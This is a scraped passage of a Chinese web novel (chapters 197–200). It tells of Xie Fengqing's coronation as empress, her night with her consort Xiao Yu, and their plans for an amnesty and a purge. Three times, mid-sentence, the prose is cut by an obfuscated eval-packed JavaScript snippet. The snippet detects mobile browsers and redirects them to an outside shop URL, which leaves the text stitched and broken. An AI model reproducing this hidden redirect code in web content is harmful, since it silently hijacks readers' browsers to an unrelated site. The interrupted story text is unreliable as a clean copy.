与此同时,两名宫女上前,为她披上早已准备好的玄色绣金色十二章纹的龙袍。这龙袍虽为帝王规格,但纹样中巧妙地融入了凤纹元素,且制式更为修身,凸显女性优美的身姿线条,宽大的袖口与曳地的下摆,又增添了帝王的威严气度。龙袍加身,与内里的玄底金绣凤冠霞帔、头上的九凤金冠融为一体,形成了独一无二的、属于女帝谢凤卿的冕服——既有龙袍的至高权威,又有凤仪的独特尊贵。 加冕完成。 谢凤卿——此刻,已是凤翔帝谢凤卿——缓缓转过身,面向祭坛之下,面向她的臣民,面向她的天下,面向即将开启的凤翔时代。 萧御后退半步,立于她的侧后方,这个位置,既是臣子之位,也是最亲密的支持者之位。他整理衣袍,躬身,以最标准的臣子礼,深深一揖,声音清朗,以内力送出,响彻全场: “臣等,参见陛下!” “陛下万岁,万岁,万万岁!” 随着他的带头,祭坛下的文武百官,无论新党旧党,无论心甘情愿还是迫于形势,齐刷刷地撩袍跪倒,以头触地;观礼台上的各国使节、宗室代表、各方贤达,亦纷纷起身,依照本国或本族礼仪,或跪拜,或鞠躬,或抚胸行礼;更远处无法计数的禁军侍卫,整齐划一地单膝跪地,甲胄摩擦发出哗啦声响;连外围的百姓,也如同被风吹倒的麦浪,黑压压地跪伏下去。 第197章仪式结束,但狂欢,才刚刚开始 山呼万岁之声,如同积蓄了许久终于爆发的海啸,从祭坛周围开始,迅速蔓延至整个广场,乃至更远的街道,最终汇聚成席卷天地的声浪,一浪高过一浪! “陛下万岁万岁万万岁!!!” “凤翔大帝万岁!!!” “女帝万岁!万岁!万万岁!!!” 声浪震天动地,仿佛要将这暮色苍穹都掀翻!仿佛要将这古老的宫殿都震动!这是对新皇的承认,对新时代的欢呼,对未来的无限期盼! 谢凤卿(凤翔帝)站在祭坛之巅,头戴九凤金冠,身披玄色龙袍,内里依旧是那身玄底金绣的凤冠霞帔。左手握着桃花剑,虎符轻晃。珍珠旒遮面,却遮不住她眼中那睥睨天下、掌控乾坤、又带着开创盛世决心的帝王威严。 晚风猎猎,吹动她的龙袍下摆与霞帔,如同旌旗招展,又如凤凰展翅。 身后,是巍峨的金銮殿,在暮色中如同蛰伏的巨兽,象征着至高无上的皇权与厚重的历史,此刻,即将迎来新的主人。 身前,是跪伏的万民与百官,如同无边无际的潮水,象征着臣服与归附,也象征着托付与期望。 脚下,是九级祭坛与雕刻的**江山,是她即将治理的国土。 头上,是初升的星月与无尽的苍穹,是她誓言要带给黎民的清朗乾坤。 这一刻,她终于站上了这个古老帝国权力金字塔的最顶峰。 以女子之身。 以摄政王之功。 以涅槃重生之姿。 以“事在人为”之志。 凤冠霞帔,是她的战袍,也是她的嫁衣,更是她加冕的冕服,是她一路走来的见证与荣耀。 满城红妆,是百姓的祝福,是历史的见证,更是她承诺要守护的万家灯火。 天下大定,是她过去的承诺,是现在努力的方向,更是她未来必将实现的蓝图。 她缓缓举起桃花剑,连鞘举起,剑指苍穹。 这个动作,让山呼万岁之声渐渐平息。所有人都屏息凝神,望着祭坛上那道如同神祇般的身影。 她的声音,透过珍珠旒,清晰地传出,不高昂,却带着帝王的终极宣告,带着一种定鼎乾坤、开创新元的磅礴力量,响彻在渐暗的暮色与初起的灯火之中: “凤翔元年,始于今日!” “朕在此立誓——” “凡日月所照,江河所至,皆为大周之土,皆为朕之子民!朕必护之、爱之、养之!” “朕必励精图治,革新除弊,使我大周,国富民强,兵甲精良,威震寰宇!” “使我百姓,居者有其屋,耕者有其田,幼有所教,老有所养,病有所医,劳有所得,安居乐业,共享太平!” “使我文明,昌盛繁荣,光耀四方,泽被后世,万古流芳!” “此誓——” “天地为证,山河为鉴,历史为凭!” “凤翔——” 她顿了顿,目光如电,扫过全场,扫过她即将统治的**河山,扫向深邃的夜空,扫向不可知的未来,然后,用尽全身力气,仿佛要将自己的生命与灵魂都融入这两个字中,朗声宣告: “启航!” 最后一个字落下,仿佛耗尽了所有的力气,却又仿佛注入了无穷的力量。余音袅袅,在广场上空回荡,在每个人心中激荡。 她收回剑,静静地矗立在祭坛之巅,如同一位刚刚加冕的、年轻而古老的神祇,开始审视她的国度,她的子民,她的时代。 台下,短暂的寂静后,是更加狂热、更加持久的万岁之声,如同永远不会停歇的潮水,一波接着一波,响彻云霄,震动宫阙! “凤翔!凤翔!凤翔!” “万岁!万岁!万岁!” 萧御站在她身侧后方,保持着微微躬身的臣子姿态,看着她的背影。那背影在暮色与初起的宫灯光芒中,显得既挺拔又单薄,既威严又孤寂。他的眼中充满了无比的骄傲、深沉的爱恋,以及一丝难以言喻的心疼。他知道,从此刻起,她将独自承受那顶金冠的全部重量,承受这**江山的全部压力。但他也发誓,他会永远站在她身后,一尺之地,做她最坚实的后盾,最忠诚的臣子,最亲密的爱人。 他的陛下。 他的凤卿。 他们的时代,终于……真正开始了。 史官跪在祭坛下方的角落里,手中的笔早已被汗水浸透,写下的字迹却力透纸背,他以近乎癫狂的状态,记录着这开天辟地的一刻: “二月十五,酉时三刻,于金銮殿前祭坛,监国亲王萧御奉皇帝禅位诏,百官万民共请。摄政王谢凤卿拒言天命,唯称‘事在人为’、‘民心所向’。遂加九凤金冠,披玄色龙袍,即皇帝位,改元凤翔。是时,暮霞如烧,星月初现,万民跪拜,声震九霄。帝执桃花剑,悬虎符,立誓言,开‘凤翔盛世’之宏愿。后世谓之:‘凤冠霞帔,满城红妆,女帝加冕,天下大定’。自此,大周进入女帝时代,史称‘凤翔一朝’。” 仪式结束,但狂欢,才刚刚开始。 京城内外,早已准备好的灯笼次第亮起,如同地上的星河骤然点亮,蜿蜒流淌在街道巷陌。无数盏红色、黄色、彩色的灯笼,将夜晚的京城装点得如同白昼,又比白昼更添梦幻色彩。焰火冲天而起,在深蓝色的夜空中绽放出绚烂的图案,有浴火重生的凤凰,有腾飞九天的神龙,有巨大的“凤翔”字样,有寓意吉祥的牡丹、莲花……砰砰的炸响声与百姓的欢呼声交织在一起。鞭炮声此起彼伏,噼啪作响,空气中弥漫着硝烟与喜庆的味道。锣鼓喧天,民间自发组织的舞龙舞狮队伍穿街走巷,引得围观百姓阵阵喝彩。 酒肆饭馆全部开业,掌柜伙计们脸上笑开了花,宣布今日酒水免费(由内务府暗中补贴,以彰新皇登基与民同乐之意)。街头巷尾摆开了流水席,虽只是简单的菜肴酒水,却足以让百姓感受到新朝的恩泽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她已卸下了沉重的九凤金冠和十二章纹龙袍,也换下了那身玄底金绣的凤冠霞帔(那套衣服将被妥善收藏,作为重大历史事件的见证)。此刻,她穿着一身轻便的红色常服,虽仍是红色,但样式简洁了许多,以柔软舒适的云锦制成,领口袖边绣着细小的金色凤纹,长发披散下来,仅用一根简单的玉簪松松绾起,洗净铅华,露出了略显疲惫却更显真实的容颜,肌肤因沐浴过而泛着淡淡的粉色,眉眼间的凌厉威严也柔和了许多,在烛光下显得格外柔美动人。 萧御同样换下了繁复的衮服和婚服,穿着一身与她相配的红色常服(样式更偏男子,但也以暗纹绣着龙纹),走了进来。他身上还带着些许夜风的微凉和淡淡的酒气(宫宴上不可避免要饮几杯)。 宫人们早已悄无声息地退下,并轻轻带上了门。 寝宫内,只剩下他们两人。 第198章我的夫君 红烛的光晕,温柔地笼罩着他们,在地上投下相依相偎的影子。 所有的喧嚣、荣耀、责任、誓言,仿佛都被隔在了那扇厚重的殿门之外。此刻,这里不是帝王的寝宫,只是属于谢凤卿和萧御的一方天地。 这一刻,他们只是谢凤卿和萧御。 只是历经生死考验、跨越重重阻碍、终成眷属的爱人。 萧御走到她面前,看着她略显苍白却泛着柔光的脸,眼中满是心疼,伸手轻轻拂开她颊边一缕散落的发丝:“累坏了吧?”他的声音低沉温柔,带着酒后的微醺,更显磁性。 谢凤卿没有立刻回答,而是微微歪头,靠进他怀里,将脸贴在他的胸膛上,听着他稳健有力的心跳。这个动作,带着难得的依赖与柔软,也只有在独处时,在他面前,她才会卸下所有防备,显露出些许脆弱。“有点。”她轻声承认,声音里带着浓浓的倦意,“但心里……很踏实。”这踏实,来自于权力的稳固,来自于民心的归附,更来自于身边这个温暖坚实的怀抱。 萧御立刻收紧手臂,将她紧紧抱住,下巴抵着她的发顶,嗅着她发间淡淡的、混合了花香与药香的清冽气息。“我也很踏实。”他低声道,声音里带着满足的喟叹,“前所未有的踏实。凤卿……不,陛下。”他改口,带着一丝戏谑,更多的却是郑重其事。 谢凤卿在他怀里抬起头,嗔怪地看了他一眼,烛光下她的眼眸如水,少了白日的凌厉,多了几分娇媚:“私下里,不许叫陛下。” “那叫什么?”萧御眼中盈满笑意,手指轻轻摩挲着她的手臂。 “……随你。”谢凤卿别过脸,耳根微微泛红。白日里号令天下、挥斥方遒的女帝,此刻却如同寻常女子般羞赧。 萧御低笑,笑声震动胸腔,带着愉悦与宠溺。他低下头,额头抵着她的额头,鼻尖轻触,呼吸相闻,温热的气息交融。“凤卿……”他唤道,声音低沉温柔,如同最醇厚的酒,带着无尽的眷恋,“我的凤卿……我的陛下……我的妻……” 最后一个字,“妻”,轻如羽毛,却重如誓言,带着尘埃落定的圆满与珍视。 谢凤卿闭上眼,浓密的睫毛在眼下投出小片阴影。她感受着他的气息,他的温度,他毫无保留的爱意与紧紧拥抱带来的安全感。七日生死,恍如隔世。朝堂风云,天下重任,在这一刻,似乎都远去了。只剩下这个怀抱,这个心跳,这个人,这份失而复得、弥足珍贵的温情。 “萧御,”她也轻声回应,声音柔缓,带着疲惫后的松弛,“我的亲王……我的夫君……我的……依靠。”最后两个字,她说得有些轻,有些犹豫,但终究说了出来。对于一向强势独立的她而言,承认需要“依靠”,已是最大的信任与交付。 萧御浑身一震,仿佛被这两个字击中了心扉最柔软的地方。他将她抱得更紧,仿佛要将她揉进自己的骨血里,再也不分开。“我会永远是你的依靠。”他誓言般说道,声音有些沙哑,“无论前路如何,是锦绣坦途还是刀山火海,我永远在你身后,一尺之地。你只需向前,不必回头。” 谢凤卿没有说话,只是更紧地回抱了他,将脸更深地埋进他的颈窝。所有的坚强,所有的防备,在这一刻彻底融化。她也是人,也会累,也需要一个可以暂时停泊的港湾。而萧御,就是她的港湾。 红烛静静燃烧,偶尔爆出一朵灯花,发出轻微的噼啪声,滴下幸福的烛泪。 窗外,隐隐传来远处街市持续的欢庆声,焰火的光芒偶尔照亮精致的窗棂,在室内投下变幻的光影。 但寝宫内,一片静谧安宁。只有彼此的呼吸声,心跳声,以及红烛燃烧的细微声响。 他们相拥而立,仿佛要这样站到地老天荒,站到时间尽头。 许久,直到谢凤卿的腿有些发软,萧御才轻轻松开她,却依旧牵着她的手,引她走到窗边。 推开雕花的木窗,夜风微凉,带着初春夜晚特有的清新,也夹杂着远处飘来的硝烟味与隐约的花香。窗外是乾元宫的小花园,虽然夜色中看不太真切,但能闻到梅花将谢、早桃初绽的混合香气。更远处,京城的灯火璀璨如星河,蜿蜒流淌,欢庆的声音隐隐传来,如同背景里遥远的潮汐。夜空之上,一轮明月高悬,清辉洒落人间,为宫殿的琉璃瓦披上一层银纱。 “看,”萧御握着她的手,十指相扣,指着那轮明月,又指向脚下灯火辉煌的京城,最后将目光收回,落在她映着月光的侧脸上,“这江山,这明月,这万民……从今以后,都是你的责任,也是我的。”他的语气郑重,如同白日在祭坛上的誓言。 谢凤卿依偎在他肩头,目光悠远,望着那轮明月,望着那万家灯火,轻声却坚定地纠正:“是我们的。”她顿了顿,补充道,“我们一起担。” “对,我们的。”萧御握紧她的手,掌心温暖,“我们一起,把它变得更好。让这明月更皎洁,让这灯火更温暖,让这江山更锦绣,让这万民……更安乐。” “嗯。”谢凤卿点头,眼中倒映着明月与灯火,也倒映着对未来无比坚定的信念。那信念里,有对太平盛世的追求,有对革新除弊的决心,也有对身边之人携手共度的期许。 凤冠霞帔,是归来的战袍,也是大婚的嫁衣,更是加冕的冕服。它见证了生死,见证了爱情,见证了权力的巅峰。 满城红妆,是百姓的祝福,是历史的见证,更是新时代的底色,是他们对未来美好生活的期盼。 天下大定,是过去的承诺,是现在的起点,更是未来需要他们共同守护和开创的盛世图景。这条路注定不平,旧势力的反扑,新政推行的阻力,边疆的不稳,民生的艰难……千头万绪,都在前方等待着他们。 而她和他,将携手并肩,共同执笔,在这幅名为“凤翔”的宏大画卷上,写下最波澜壮阔、最光辉灿烂的篇章。 路,还很长。 荆棘或许密布,风雨或许兼程。 但,他们已经在一起。 心意相通,志同道合,彼此支撑。 这就够了。 明月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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首先感受到的,是头顶残留的、几乎难以察觉的轻微压迫感。那顶重达九斤九两的九凤金冠,已在昨夜卸下,由流云恭敬地收进了特制的紫檀木匣中,此刻应当静静地躺在寝殿东侧的配殿里。但那沉甸甸的分量,那象征着至高权柄、**江山、亿兆生民的重量,却仿佛已透过皮肉,烙印在了她的颅骨深处,成为一种永恒的警醒与负担。她闭着眼,没有立刻起身,只是静静地躺在柔软而宽大的龙榻上,感受着这份全新的、无比真实的“重量”。这不是金冠的物理重量,而是整个帝国的命运,此刻正实实在在地压在她的肩头。 然后,是身侧均匀绵长的呼吸声。那呼吸平稳而深沉,带着令人安心的节奏。以及透过轻薄柔软的明黄绸缎中衣传来的、坚实胸膛的温热。萧御睡得很沉,一只手臂还松松地环在她的腰间,保持着夜间相拥的姿势。他清俊的面容在晨光熹微中显得格外柔和,剑眉舒展,长睫在眼睑下投出浅浅的扇形阴影,薄唇自然地抿着,少了平日身为亲王、摄政、三军统帅时的锐利与威严,多了几分毫无防备的安然,甚至有一丝罕见的、属于这个年纪男子的干净气质。只是,即便在沉睡中,他的眉宇间似乎仍凝着一丝挥之不去的、属于责任与守护的郑重——那是常年身处高位、执掌生杀大权、谋划国政军机所留下的印记,如同刀锋开刃后的寒光,即便入鞘,锋芒犹在。 第199章还早,凤卿 谢凤卿静静地侧躺着,看着近在咫尺的睡颜,心中涌起一股复杂难言的情绪,如同打翻了五味瓶,酸甜苦辣咸交织在一起,最后沉淀为一种深邃的、沉甸甸的慨叹。昨日种种,如同潮水般漫过心间—— 祭坛高耸入云,她一步一步踏上那象征天命的台阶,耳边是礼乐庄严,眼前是旌旗蔽日。文武百官、宗室勋贵、外国使节分列两侧,黑压压的人群一直蔓延到视线的尽头。她穿着那身特制的、纹饰繁复到极致的玄色十二章纹帝王衮服,每一步都沉重如山,却又坚定如铁。然后,是告天祭文,是金冠加身,是玉玺入手,是山呼海啸般的“万岁”声浪,几乎要将祭坛掀翻。那一刻,她站在权力的最顶峰,俯视着匍匐的众生,感受到的不是欣喜若狂,而是一种近乎冰冷的清醒与巨大的孤独。但当她转身,看向身侧同样身着隆重礼服、却始终落后她半步、以守护者姿态肃立的萧御时,那份孤独被悄然驱散了一些。他眼中的光芒,比祭坛下的万千灯火更亮,那是毫不掩饰的支持、全然的信任与深沉的爱恋。 接着是繁琐到极致的典礼,祭祖,告庙,受贺,宴饮……她像一尊精心装饰的玉像,在无数目光的审视与朝拜中,完成着每一个规定的动作,说着每一句该说的话。脸上的笑容得体而威仪,心中的弦却始终紧绷。直到夜色深沉,回到这乾元宫,卸下沉重的冠冕与华服,只剩下贴身的红色软绸中衣,与同样卸去繁琐礼服的萧御相对时,那份紧绷才稍稍松懈。 没有寻常新人的羞涩与无措,只有劫后余生、尘埃落定后的疲惫与相惜。他执起她的手,指尖冰凉——原来,镇定如他,在面对她成为他名正言顺的妻子、更是这天下共主时,也并非全然平静。他的手心有薄汗,握着她手的力道有些紧。他们沉默地对视了许久,谁也没有先开口,仿佛千言万语都在那交织的目光中传递了。然后,他伸出手,极其轻柔地、带着珍而重之的意味,抚上了她的脸颊,指腹温暖而略微粗糙,带着常年习武握剑留下的薄茧。她闭上眼,轻轻蹭了蹭他的掌心,那是全然的信任与依赖。再然后,是一个带着无尽怜惜与誓约般郑重的吻,落在她的额头,轻轻印下,如同烙印。 没有更多的言语,也没有更进一步的亲密。两人只是相拥而眠,在经历了惊心动魄的权力更迭、生死考验后,这种纯粹的、安静的相拥,比任何情话或肌肤之亲都更能抚慰彼此疲惫不堪的灵魂。他环着她的腰,将她整个人拢在怀中,下巴抵着她的发顶,呼吸渐渐平稳绵长。而她,靠在他坚实温暖的胸膛上,听着那沉稳有力的心跳,闻着他身上清冽好闻的、混合了淡淡墨香与松柏气的味道,终于卸下了所有心防,沉入了黑甜的梦乡。 一夜无梦。 如今醒来,身侧是他,呼吸可闻,体温可感。她是大周的皇帝,是这**山河的主人,是“凤翔”年号的开启者,不再是“摄政王”,而是“陛下”。这个认知让她心头微微一颤,不是畏惧,而是一种混合着巨大责任、昂扬斗志、深沉慨叹以及一丝不易察觉的惘然的激越。如同站在万丈悬崖之巅,脚下是茫茫云海与无垠江山,风很大,吹得衣袍猎猎作响,心中既有睥睨天下的豪情,亦有如履薄冰的警醒。 她轻轻吸了一口气,空气中还残留着助眠安神的苏合香宁神的气息,以及身侧之人身上特有的清冽味道。这味道让她感到安心,却也让她更加清醒地意识到自己身份的根本转变。从今往后,她的一言一行,都将被置于天下人的目光之下,被载入史册,被反复揣摩。她不能再仅仅是“谢凤卿”,她必须是“凤翔帝”,必须是一个符号,一种意志,一座灯塔,甚至,一柄利剑。 她极轻极缓地挪动身体,试图在不惊动萧御的情况下起身。柔软的锦被随着她的动作滑落,带起细微的窸窣声。今日是凤翔元年的第一个正式朝会,意义非凡。她需要一点时间,独自整理思绪,需要独自面对这份全新的、孤家寡人的身份,需要在文武百官面前,展现出无可挑剔的、属于帝王的威仪、从容与掌控力。 然而,她刚一动,腰间的手臂便下意识地收紧了些,带着不容挣脱的力道,却又奇异地不会让她感到不适。 萧御没有睁眼,只是含糊地咕哝了一声,带着未醒的鼻音,低沉而温柔,像是梦呓:“……还早,凤卿。”他的脸颊在她发顶依赖地蹭了蹭,温热的呼吸拂过她额前的碎发,带着令人眷恋的暖意。 谢凤卿身体微微一僵,随即放松下来,心底某个坚硬的角落悄然融化,变得无比柔软。她没有再试图挣脱,任由他抱着,目光却已飘向厚重的织金窗帘。透过窗帘缝隙,隐约可见窗外的天色正从深沉的墨蓝转向一种朦胧的灰白,如同稀释的墨汁。启明星的光芒正在淡去,像一颗即将燃尽的银钉。宫墙之外,远远地,传来隐约的、富有节奏的“梆——梆——梆——”声,那是报晓的更夫在敲击梆子,声音穿透黎明前的寂静,也是宫中开始苏醒的信号——御膳房该准备早点了,各宫负责洒扫的粗使太监宫女该起身了,侍卫该换岗了,掌事的嬷嬷太监们该去各自主子那里听候吩咐了…… 她知道,不早了。帝王起居,自有严格时辰规制。虽然昨日大典异常疲惫,今日早朝或许会比平日推迟半个时辰,以示体恤,但绝不可能放任自己沉溺于温存。无数双眼睛在看着,无数颗心在揣测,无数张嘴在议论。她这位以女子之身、在经历“薨逝”风波后强势归来回、以铁血手腕肃清朝堂、最终在各方势力博弈与民众呼声中被推上至尊之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17175522|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位的新帝,登基后的第一日朝会,会如何表现?是会因新婚而懈怠?还是会迫不及待地彰显权威?是会延续摄政时期的强硬作风,还是会有所缓和?每一个细节,都会被放大解读。 “该起了。”她轻声道,声音带着初醒的微哑,却已恢复了惯常的清晰冷静,如同玉石相击,在寂静的寝殿内显得格外清晰。 萧御终于缓缓睁开眼。他的眼睛是极漂亮的凤眼,眼尾微微上挑,平日里看人时总带着三分凌厉七分深沉。此刻初醒,那眼底还带着些许迷蒙的水汽,如同笼罩着晨雾的深潭。但很快,那迷蒙便如潮水般退去,露出其下深邃清明的眸光,锐利而清醒,仿佛从未沉睡。他看着她,眼神在短暂的茫然后迅速聚焦,变得清醒而专注,那目光中有毫不掩饰的爱恋与温柔,有深沉的关切与体恤,还有一丝了然的凝重——他同样清楚今日朝会的重要性。 他没有立刻松开手,而是用目光细细描摹她的眉眼,仿佛在确认什么,又仿佛在无声地给予力量。从她光洁的额头,到纤长而略显英气的眉,再到那双总是沉静如寒星、此刻却因初醒而带着些许氤氲水汽的眼眸,挺直的鼻梁,淡色的唇,最后停留在她优美的下颌线条上。他的目光专注而虔诚,如同信徒仰望神祇,又如同匠人审视自己最完美的作品。片刻,他才低低开口,声音已恢复了平日的沉稳清越,带着晨起的微沙:“头疼吗?身上可还乏?”他知道昨日那套行头有多沉重——仅那顶九凤金冠就重达近十斤,那身衮服更是里外多层,刺绣繁复,穿戴着行动都需格外小心。他也知道那场持续了整整一日的仪式有多耗费心神体力——每一步都不能错,每一句话都要斟酌,要应对无数人的目光与心思。 “无妨。”谢凤卿摇摇头,撑着手臂慢慢坐起身。锦被随之彻底滑落,露出只着红色软绸中衣的窈窕身姿。墨黑的长发如最上等的绸缎般倾泻在肩头背后,衬得她的肌肤在晨光朦胧中愈发白皙细腻,甚至透着些许脆弱的透明感,那是重伤初愈、又连日劳累的痕迹。但她的脊背挺得笔直,脖颈的弧度优美而充满力量,那种从骨子里透出的坚韧、从容与不可摧折的意志,瞬间冲淡了外表的柔美,让她即便身着寝衣、散发素颜,也自有一股令人不敢亵渎的凛然气度。 萧御也随之坐起,目光却不由自主地落在她微微敞开的领口下,那隐约可见的、淡粉色的疤痕——形状并不规则,位于左胸上方,靠近心脏的位置。那是断魂崖下,为了在绝境中夺取一线生机,她亲手用**剖开自己胸膛、置入那半枚可以调动北境大军的虎符时留下的印记。伤口的皮肉早已愈合,但疤痕犹在,如同一个永恒的烙印,铭刻着那**死挣扎的惨烈,也见证着她的决绝、勇气与涅槃重生。 第200章臣,领旨。必不负陛下所托 他的指尖几不可察地颤了一下,眸色骤然深了深,如同暴风雨来临前的海面,涌起浓烈到几乎化为实质的心疼与后怕。那一日,当他带着援军赶到崖下,看到浑身浴血、胸膛染红、却紧紧握着虎符昏迷不醒的她时,那种心脏几乎被捏碎的恐惧与痛楚,至今想起,仍让他呼吸发紧。但他什么也没说,只是伸出手,动作轻柔至极,仿佛在对待一件稀世珍宝、一片易碎的琉璃,轻轻为她拢了拢微敞的衣襟,将那刺目的疤痕遮掩住。指尖不可避免地触碰到她颈侧的肌肤,温润滑腻,让他喉结微微滚动了一下。 “陛下,”他唤道,这个称呼在私密而温馨的寝殿内响起,带着一种奇异的、正式与亲昵交织的意味,如同最柔软的丝绸包裹着最坚硬的玉石,“今日第一次以帝王身份临朝,可想好了要说什么?”他没有问“紧张吗”“害怕吗”之类的废话,而是直接切入核心。他了解她,知道她此刻需要的不是无谓的安抚,而是冷静的探讨与支持。 谢凤卿正欲唤宫人进来的动作顿了顿。她转眸看他,眼中闪过锐利而睿智的光芒,如同暗夜中划过的闪电:“昨日祭坛之言,便是朕的立朝之本。‘天行健,君子以自强不息;地势坤,君子以厚德载物。’朕以‘事在人为’自勉,非为虚言。今日朝会,不必赘言空话套话,当议实事,定国策。”她的语气平淡,却带着不容置疑的定力与掌控感,那是一个成熟**家、一个开国(对她而言,几乎是开创一个新时代)之君应有的气度,“首要之事,便是大赦天下,安定人心,以示新朝气象,彰陛下仁德。” 她说的是“陛下仁德”,而非“朕之仁德”,指的是那位“顺应天命、禅位让贤”的前任小皇帝,如今的大周“太上皇”。虽然实权早已在她手中,小皇帝不过是个象征,但表面文章仍需做足。追封(小皇帝生母早逝)、尊奉、优待,一个都不能少。这也是对旧有法统的一种尊重与过渡,有助于减少不必要的阻力,安抚那些仍心怀“正统”的守旧派。 萧御眼中露出赞许与了然的的笑意,如同春冰初融,暖意流淌。他的凤卿,从来都知道什么时候该展现锋芒,什么时候该绵里藏针,什么时候该高举大棒,什么时候该给出甜枣。**的艺术,在于平衡与节奏,她已深谙此道。“大赦的范畴,需仔细斟酌。除谋逆叛国、弑亲、恶逆、不道、大不敬、不孝、不睦、不义、内乱等十恶重罪,以及贪墨军饷、通敌**、戕害百姓之首恶外,其余各罪,皆可酌情宽宥。尤其是因言获罪、因旧制陈规所累、或因天灾战乱、贫苦无依所迫而犯窃盗、斗殴、欠税等轻罪者,当优先考虑,以示陛下仁德,抚恤黎民。此外,各地在押待审、久拖不决之案犯,亦需着刑部、大理寺、都察院三法司尽快复核清理,避免冤滞,清理积案,亦显朝廷清明高效。” 他的思路清晰,显然早已深思熟虑,甚至连具体罪名和考量因素都列出了。谢凤卿微微颔首,晨曦微光透过窗纱,在她长长的睫毛上投下浅浅的影子:“与朕所想不谋而合。大赦是恩典,是雨露,亦需有度,有边界,否则恩泽泛滥,便成了纵恶,反损朝廷威仪,寒了守法良民之心。具体条款细则,朝会时可交由内阁与刑部详议,今日先定下原则框架。另外,”她顿了顿,眸光转冷,如同瞬间凝结的寒冰,寝殿内的温度似乎都下降了几分,“那些在朕‘薨逝’消息传回期间上蹿下跳、与戎狄暗通款曲、或趁机盘剥地方、激起民变、意图不轨者,不在赦免之列,不仅不赦,还要严查严办,从重处置,以正朝纲,以儆效尤,清除蠹虫!” 她的话音不高,却字字如冰珠,砸在金砖地面上,带着森然寒意。那些在她“死讯”传开后迫不及待跳出来,或勾结外敌,或欺压百姓,或串联朝臣意图另立新君的宵小之辈,她一个都不会放过。宽严相济,恩威并施,才是驭下之道。 萧御神色一肃,坐直了身体,寝衣下的肌肉微微绷紧,显出一种蓄势待发的力量感:“名单与初步罪证,影卫与监察司已连夜整理,稍后便呈与陛下御览。只是,”他微微蹙眉,语气凝重,“牵涉甚广,其中不乏位高权重、门生故旧遍布朝野的勋贵老臣,以及盘踞地方、势力根深蒂固的豪强。需用雷霆手段,一击必中,亦需讲究策略,分化瓦解,避免打草惊蛇,引起朝局动荡过甚,反为不美。尤其要防止他们狗急跳墙,串联地方,激起兵变民乱。” “朕知道。”谢凤卿的声音很平静,却透着深入骨髓的寒意,那是一种经过鲜血洗礼、见识过人性最黑暗面后沉淀下的冷酷,“新政欲行,必先清障。欲筑广厦,需先夯实地基,扫清朽木碎石。些微动荡,在所难免,长痛不如短痛。但该清的,一个不留。萧御,”她看着他的眼睛,那目光中是毫无保留的、如同将后背交给对方般的全然信任,是并肩作战、生死与共的深刻默契,是共同面对未来一切风雨刀剑的坚定决心,“此事,朕交予你与监察司、刑部协同办理。你是监国亲王,身份尊贵,可震慑宵小;你执掌影卫,消息灵通;你又是……朕最信任的人。由你坐镇统筹,朕放心。记住,要快,要准,要狠,但又不能滥。证据务必扎实,经得起推敲,要办成铁案,让天下人心服口服,也让那些心怀侥幸者,彻底绝了念头。” 她的话,既是委以重任,也是定下调子。快准狠,是针对那些必须清除的毒瘤;不能滥,是避免扩大化,引发不必要的恐慌;办成铁案,则是**上的要求,要经得起历史的检验和后世的评判。 萧御心头一热,如同被暖流包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17177760|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裹。他喜欢她这样毫无保留地信任他,将最锋利的刀、最棘手的事交到他手上。这不仅仅是因为他们是夫妻,更是因为她是君王,他是臣子,是利剑,是盾牌。他郑重抱拳,行了一个标准的臣子礼,声音沉肃有力:“臣,领旨。必不负陛下所托。定将此事办得干净利落,不留后患,亦不让陛下清名有损分毫。” 他明白,她让他来办,不仅是因为信任和能力,也是因为他身份特殊,既是亲王,又曾长期监国,在朝中军中皆有威望,且与那些盘根错节的旧势力瓜葛相对较少(他早年戍边,回京后又主要执掌军权和情报系统),由他出面,阻力会小一些,也能将可能的反弹集中到他身上,为她这个新帝缓冲一二。这份深意,他懂,也甘之如饴。 就在这时,殿外传来极轻的、训练有素的脚步声,随即是内侍总管高无庸刻意放得轻柔、却足够清晰的询问声,带着恰到好处的恭敬与距离感:“陛下,王爷,卯时正了。可要起身洗漱?早膳已备好,是送到寝殿,还是移驾偏殿?” 高无庸原是萧御亲王府中的总管太监,年约四旬,面容白净,眼神精明而不外露,行事稳妥,心思缜密,且对萧御忠心耿耿。萧御入主宫中后,便将他提为乾元宫(即皇帝寝宫)总管太监,统御宫中内侍。有他在,至少乾元宫内外,如同铁桶一般。 谢凤卿与萧御对视一眼,均在对方眼中看到了属于新的一日、新的时代的锐意、沉稳以及无需言说的默契。昨日是仪式,是昭告;今日,才是真正的开始。 